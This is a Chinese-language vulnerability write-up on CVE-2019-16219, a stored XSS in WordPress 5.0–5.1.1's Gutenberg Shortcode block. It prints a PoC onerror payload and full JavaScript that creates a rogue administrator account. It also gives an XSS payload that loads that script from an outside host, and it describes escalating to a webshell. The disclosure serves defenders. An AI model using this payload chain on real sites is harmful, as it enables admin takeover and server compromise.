CVE-2019-16219: WordPress (Core)存储型XSS漏洞

作者:深圳市网安计算机安全检测技术有限公司 | 国际 2019/10/08 15:48:21 119
文章来源:https://www.4hou.com/vulnerable/20640.html

漏洞概述

       WordPress是最主流的内容管理系统(CMS),占全球CMS市场份额的60.4%,远高于第二的Joomla!(5.2%)。因此,有超过1/3的网站使用WordPress。FortiGuard研究人员近期发现一个WordPress中的存储型XSS 0day漏洞。该0day漏洞是由于WordPress 5.0中新内置的Gutenberg引发的XSS漏洞。该编辑器没有超过过滤Shortcode错误消息中的JavaScript/HTML代码。因此,有Contributor或更高权限的远程攻击者就可以在访问被黑页面的受害者浏览器中执行任意JS/HTML代码。如果受害者有更高权限,比如administrator权限,攻击者甚至可以入侵整个web服务器。

       该XSS漏洞CVE编号为 CVE-2019-16219,影响WordPress 5.0到5.0.4,5.1和5.1.1版本。

漏洞分析

      在WordPress 5.0中,用户可以在文章中添加Shortcode块。在添加特定HTML编码的字符到Shortcode块,然后重新打开文章时,就显示错误信息,以<字符为例,预览时会解码<为<。

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图1. 插入HTML编码的字符串到ShortCode块

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图2. 预览时的Shortcode错误消息

       预览时的XSS过滤器可以很容易地过滤,比如POC"><img src=1 onerror=prompt(1)>:

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图3. 插入PoC代码到Shortcode块

       受害者查看文章时,XSS代码就会在浏览器中执行。

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图4. WordPress Shortcode Preview XSS

      如果受害者有admin权限,攻击者就可以利用该漏洞来获取管理员账号的完全,使用WordPress内置功能来GetShell。然后控制服务器。

      比如,攻击者可以在web服务器上保持JS文件,如wpaddadmin[.]jshttps://g0blin.co.uk/xss-and-wordpress-the-aftermath/ 。JS代码会用用户名attacker和密码attacker添加一个WordPress管理员账号。

// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' valuevar ajaxRequest = new XMLHttpRequest();var requestURL = "/wordpress/wp-admin/user-new.php";var nonceRegex = /ser" value="([^"]*?)"/g;ajaxRequest.open("GET", requestURL, false);ajaxRequest.send();var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);var nonce = nonceMatch[1];// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administratorvar params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";ajaxRequest = new XMLHttpRequest();ajaxRequest.open("POST", requestURL, true);ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajaxRequest.send(params);

        然后攻击者就可以用下面的POC来插入JS:

“"><img src=1 onerror="javascript&colon;(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">”

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图5. 插入XSS代码来添加管理员帐户

       高权限的受害者查看该post时,就会创建管理员帐户attacker。

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图6. 执行XSS代码

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图7. XSS代码创建的具有管理员权限的attacker帐户

       然后攻击者就可以修改现有的php文件到webshell,然后用webshell来控制web服务器。

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图8. 添加web shell到attacker帐户

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

图9. 控制web服务器

       目前WordPress已经发布了补丁,研究人员建议用户升级到最新的WordPress版本。


推荐关注

指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室